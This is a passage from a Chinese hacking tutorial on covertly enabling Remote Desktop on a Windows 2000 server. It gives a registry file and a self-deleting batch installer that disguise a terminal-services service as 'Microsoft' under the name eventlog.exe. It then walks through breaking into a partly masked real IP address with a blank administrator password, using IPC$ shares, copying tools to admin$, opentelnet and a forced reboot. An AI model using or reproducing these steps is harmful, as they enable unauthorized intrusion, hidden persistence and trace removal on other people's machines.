＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ 
首先我们制作开启3389的工具 
先把下面的注册表内容copy一份，另存为3389.reg注册表文件 
注册表内容： 
Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionnetcache] 
"Enabled"="0" 
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] 
"ShutdownWithoutLogon"="0" 
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] 
"EnableAdminTSRemote"=dword:00000001 
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server] 
"TSEnabled"=dword:00000001 
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] 
"Start"=dword:00000002 
[HKEY_USERS.DEFAULTKeyboard LayoutToggle] 
"Hotkey"="1" 
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] 
"Start"=dword:00000002 
"ErrorControl"=dword:00000001 
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, 
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, 
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 
"ObjectName"="LocalSystem" 
"Type"=dword:00000010 
"Description"="Microsoft" 
"DisplayName"="Microsoft" 
再把下面的内容保存为批处理文件3389.bat 
安装批处理内容： 
copy termsrv.exe eventlog.exe 
regedit.exe /s 3389.reg 
del 3389.reg 
del 3389.exe 
del 3389.bat 
用winrar制作成exe自解压缩包 

61.188.***.*** user:administrato pass:空 
先使用工具letmein判断其操作系统 
letmein \ip -all -d 
TsInternetUser (TsInternetUser)这个是2000的终端用户，现在可以判断其为2000server了 
再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾 
应该没有开启了 
建立ipc连接 
copy工具过去 
net use \ipipc$Content$nbsp;"pass" /user:name 
copy file \ipadmin$system32 
用opentelnet开对方的telnet 
opentelnet \ip name pass 1 99 
用telnet进入 
进入到对方的winntsystem32 
目录 
解压缩3389.exe 
运行安装批处理3389.bat 
现在我们把对方重起一下，用reboot 
我们用ping命令监视他的上线情况，等他下线，呵呵下了，又上来了，不慌连，3389等会才能好，对方的机器有点慢 
看见了么，开启成功! 

上一页  [1] [2]